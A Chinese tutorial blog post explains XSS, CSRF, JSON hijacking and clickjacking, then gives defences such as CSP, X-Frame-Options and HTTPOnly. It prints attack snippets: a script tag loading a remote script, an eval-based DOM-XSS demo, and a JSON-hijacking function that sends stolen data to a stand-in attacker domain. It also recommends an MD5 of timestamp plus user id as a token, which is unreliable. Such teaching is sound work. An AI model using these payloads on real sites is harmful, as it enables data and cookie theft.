常见网络安全说明
大家好,我是茄子。
XSS
XSS概述
XSS 全称为 Cross Site Scripting(据说缩写与CSS相同,所以才改名为XSS) 即跨站脚本。发生在目标网站中目标用户的浏览器层面,当用户浏览器渲染整个HTML文档的过程中出现不被预期的脚本执行,XSS就会发生。通常是指利用网页开发留下的漏洞,通过巧妙的方法主语恶意指令代码到网页,是用户加载并执行攻击者恶意制造的网页程序。
- 目标网站目标用户的浏览器。
- 浏览器
- 不被预期的
'跨站脚本' 重要的是脚本
跨站脚本 重要的不是'跨站',而是'脚本'。大多数XSS攻击会采取注意一段远程或者第三方域上的脚本资源。 类似于:
<script src='http://xxx.com/xss.js'>
这样还有一个好处:攻击代码容易控制。对于嵌入的脚本,会与本站的脚本内容一样,在整个脚本上下文环境存在。
一个小例子: 比如说, 我们有这样一个html文件,把他存储为(xssDemo.html)。
<!DOCTYPE html>
<html lang="en">
<head>
<title>XSS</title>
</head>
<script>
eval(location.hash.substr(1))
</script>
<body>
</body>
</html>
当我们用浏览器打开这个文件的时候,URL是这样的
一个空白的网页。
假如 我们在浏览器url后面加入 #alert(1) 再次刷新页面 我们看到了什么?
这只是一个小案例,真实的攻击中,我们需要比弹窗这样更具有威胁性的脚本内容。比如我们刚刚说到的加载第三方域的脚本资源,这样就把更多的XSS代码嵌入。
总之,XSS就是想尽一切办法将脚本内容在目标网站的目标用户的浏览器中解析执行。
XSS攻击的目的
- 盗取cookie,获取敏感信息。
- 钓鱼攻击。
- 恶意篡改数据、删除目标文章。
- 劫持用户Web行为等等。
XSS类型
反射型XSS(非持久型XSS)
当发出请求时,XSS代码输入通过get/post请求提交到服务端,服务端未经过滤直接响应,在响应中出现这段XSS代码,最后浏览器解析执行。
存储型XSS(持久型XSS)
存储型与持久型的差别在于:存储型会将XSS代码存储在服务器,下次请求不用在提交XSS代码。
最典型的案例就是类似于留言板,用户提交一段XSS代码存储到数据库,目标用户查看留言板时,留言内容会从数据库查询出来显示。
DOM XSS
DOM XSS 并不需要服务器解析响应,触发XSS靠的就是浏览器DOM解析,就如第一个小案例中的代码。
CSRF
CSRF概述
CSRF 全称为 Cross Site Request Forgery 即 跨站请求伪造。对于CSRF来说,我们只需要关注2点:1.跨站点的请求。2.请求是伪造的。
跨站点的请求
从字面意思上看,跨站点的请求是其他网站(但是,字面意思总是狭义的,也有可能来自本站)。比如:目标网站的删除文章功能接收到来自恶意网站发出的删除文章请求,这个请求就是跨站点的请求。
请求是伪造的
我们可以理解为:如果请求的发出不是用户自愿的,那么这个请求就是伪造的。
一个小案例
目标网站 www.a.com
恶意网站 www.b.com
目标网站A上有一个删除文章功能,一般情况下是用户点击'删除文章' 才会删除指定的文章。 这个删除url是'www.a.com/blog/del?id=xxx' xxx代表不同文章的id。
如果目标网站A存在XSS漏洞,执行JS脚本无同源限制,那么我们就可以用如下方式。
- 使用ajax发出GET请求'www.a.com/blog/del?id=1'
- 动态创建一个标签, 比如'img',src中填写'www.a.com/blog/del?id=1'。
- 欺骗用户访问存在XSS脚本的漏洞页面(A网站上)。
如果A网站没有XSS漏洞,我们还可以用什么办法删除文章?CSRF的思路如下。
- 在B网站上编写一个CSRF页面。
- 利用ajax跨域时带上目标域的会话,或者直接用'<img src='www.a.com/blog/del?id=1' /'
- 最后,欺骗已登录网站A的用户访问恶意网站B的CSRF页面,攻击就发生了。
这个攻击有三个关键点:1.跨域发起一个GET请求 2.无JavaScript参与 3. 请求是身份认证后的。
跨域发起一个GET请求
比如:嵌入的第三方资源:图片、JS脚本、CSS样式、框架等。
可以无JavaScript参与
CSRF过程与XSS过程不太一样,可以无JavaScript参与。当然,也可以有JavaScript参与。
请求是身份认证后的
跨域发出的请求类似这样:
B网站的:
GET /blog/del?id=1 HTTP/1.1
Host: www.a.com
User-Agent: Mozilla/5.0 xxxxxxxxxxxxxxxxxxxxxxxxxxxx
Connection: Keep-alive
Referer: http://www.b.com/csrf.html
Cookie: sid=0e1e58a4a208bca72195741a884fb2ba8159949ac964cb3e5740f00f89035177f
A网站的:
GET /blog/del?id=1 HTTP/1.1
Host: www.a.com
User-Agent: Mozilla/5.0 xxxxxxxxxxxxxxxxxxxxxxxxxxxx
Connection: Keep-alive
Referer: http://www.a.com/blog/
Cookie: sid=0e1e58a4a208bca72195741a884fb2ba8159949ac964cb3e5740f00f89035177f
对比一下两个请求,我们可以看到,除了请求来源Referer不一样外,其他的都一样。尤其是这个Cookie值,是用户登录网站A的身份验证标志。跨域发出的请求也同样会带上网站A的用户Cookie。
我们已经知道了CSRF的过程,介绍了GET请求的情况,那么POST请求呢?
比如:网站A有一个 写文章 的功能。提交表单,会发起POST请求。同样,这个POST请求可以从网站B发出,通过JavaScript 生成表单,表单的action地址指向网站A的表单提交地址。
CSRF的类型
按照请求类型来分:可分为GET类型和POST类型。 按照攻击方式来分:可分为HTML CSRF攻击、JSON Hijacking攻击 和 Flash CSRF攻击等等。
HTML CSRF攻击
上面那个案例,发起的CSRF请求属于HTML CSRF攻击。这一类是最普遍的CSRF攻击。
HTML中能够设置src/href等链接地址的标签都可以发出一个GET请求:
<link href=''>
<img src=''>
<img lowsrc=''>
<img dynsrc=''>
<frame src=''>
<iframe src=''>
<script src=''>
<bgsound src=''>
<embed src=''>
<video src=''>
<audio src=''>
<a htef=''>
<table background=''>
- ....
- CSS中 @import ''
- CSS中 background: url('')
- ....
还可以通过JavaScript动态生成的标签对象或者CSS对象发起GET请求,POST请求只能通过form表单提交这样的方式。
JSON HiJacking 攻击
了解 JSON HiJacking攻击前,我们先来了解一下JSON和JSONP(JSON with Padding)
JSON 是一种数据格式,主要有字典和列表两种存在的形式,并且这两种形式也可以互相嵌套。因为JSON可读性强,便于处理,已取代XML成为主流。
字典形式:
{
"id":1,
"name":"qiezi",
"email":"c1094282069@gmail.com"
}
列表形式
["a","b","c"]
JSONP是一个非官方的协议,是前端的JavaScript跨域获取数据的一种方式。 JavaScript在读写时用同源策略限制,不可以读写其他域的数据。于是,广大的程序员就想出了一个办法。
<script>
function hijack(a){
for(let i = 0; i < 3; i++){
new Image().src = 'http://www.b.com/hijack/collect'+a[i]
// 我们将获取到的数据上传到网站B进行收集
}
}
</script>
<script type='text/javascript' src="http://www.a.com/service.php?callback=hijack">
/** 假如说网站A有这么一个链接获取文章列表 */
假如说我们请求返回了这样一个数据格式:
```js
higack([
{
"id":1,
"Autor":"灵魂画师茄子",
"synopsis":"大家好,我是灵魂画师茄子,此处省略1万字"
},
{
"id":2,
"Autor":"灵魂画师茄子",
"synopsis":"大家好,我是灵魂画师茄子,此处省略1万字"
},
{
"id":3,
"Autor":"灵魂画师茄子",
"synopsis":"大家好,我是灵魂画师茄子,此处省略1万字"
}
])
JSONP就是前端定义函数,在后端完成调用返回前端执行。
JSON HiJacking攻击 就是在目标用户登录网站A的情况下,访问恶意网站B,恶意网站B先是加载'www.a.com/service.php…'(这个过程发生了CRSF GET请求),然后回调执行hijack函数,上传用户数据。
界面劫持
界面劫持概述
界面操作劫持攻击是一种基于视觉欺骗的攻击手段,界面操作劫持是在2008年后出现的新的web攻击方式,从技术发展阶段分析,可分为3种:
- 点击劫持(Clickjacking)
- 拖放劫持(Drag&Drop jacking)
- 触屏劫持(Tapjacking)
点击劫持
2008年由SecTheory公司的Robert Hansen和白帽安全公司Jeremiah Grossman两名研究人员提出。首要是劫持用户的鼠标点击操作。主要劫持目标是有重要会话交互的页面,比如:用户后台管理页面、银行交易页面、劫持用户麦克风摄像头等。
利用页面变透明和iframe嵌套方法,我们就可以实现点击劫持。
拖放劫持
2010 Black Hat Europe 大会上,Paule Stone提出了拖放劫持。
用户常常在浏览器中 使用鼠标拖放来代替复制和粘贴的操作。因此,拖放操作劫持大大拓展了点击劫持的攻击范围。在浏览器中,拖放是不受'同源策略'限制的,用户可以把一个域中的内容拖放到另外一个域。
例如:可以通过劫持某个页面拖放操作实现对其他页面链接的获取,这些链接中可能会有一些敏感信息。
触屏劫持
与点击劫持一样,只不过是点击劫持的升级版,可在移动设备上进行劫持。
关于防御
HTTP响应的X-头部
- X-Frame-Options
- X-XSS-Protection
- Content-Security-Policy
- X-Frame-Options 与点击劫持有关,可选的值有以下三个
- DENY(禁止加载任何iframe)
- SAMEORIGIN(只允许加载相同域下的iframe)
- ALLOW-FROM(指定来源的iframe)
- X-XSS-Protection 与防御反射型XSS有关 可选的值有以下三个
- 0 表示禁用这个策略
- 1 默认 (不同浏览器之间有差异)
- 1; mode=block 表示强制不渲染
CSP策略
全称Content-Security-Policy 即内容安全策略
CSP策略由一些指令构成,每个指令用(;)分割,语法格式如下:
Content-Security-Policy: [指令1] [指令值1] [指令值2];[指令2] [指令值1]...... 常见的指令有:default-src、script=src、img-src、media-src、frame-src、style-src等等。
详细见: Content-Security-Policy文档
XSS防御方案
除了上面的那些 我们还可以进行如下防御:
-
转义字符 你永远也不知道电脑另一端的到底是谁,不要相信用户的输入。对于一些非法的字符,我们统统转义。
-
HTTPOnly
在设置cookie时,将属性设为HTTPOnly,避免被窃取,保护cookie。
CSRF防御方案
除了上面的那些 我们还可以进行如下防御:
- 检查HTTP Referer字段是否同域
如果发现Referer中地址异常,就可以怀疑遭到了CSRF攻击。
- 限制Session Cookie生命周期。
比如如果闲置10分钟,我们就自动销毁cookie,在一定程度上减少CSRF攻击。
- 使用验证码
虽然验证码会降低用户体验,但是使用验证码可以有效的阻断CSRF攻击。比如:我们在付款的时候需要用到验证码。
- 使用一次性token
在请求中以参数的形式加入一个随机产生的token,我们可以用时间戳+用户id md5后的结果,作为一次性token。
参考资料
- 《web前端黑客技术揭秘》
- 常见六大Web安全攻防解析-浪里行州
- MDN
第一次写这种总结性的文章,感觉写的不是很好,条例结构也不是很清晰,以后我会多多努力。
感谢大家的阅读,如有不足,请指正。
谢谢。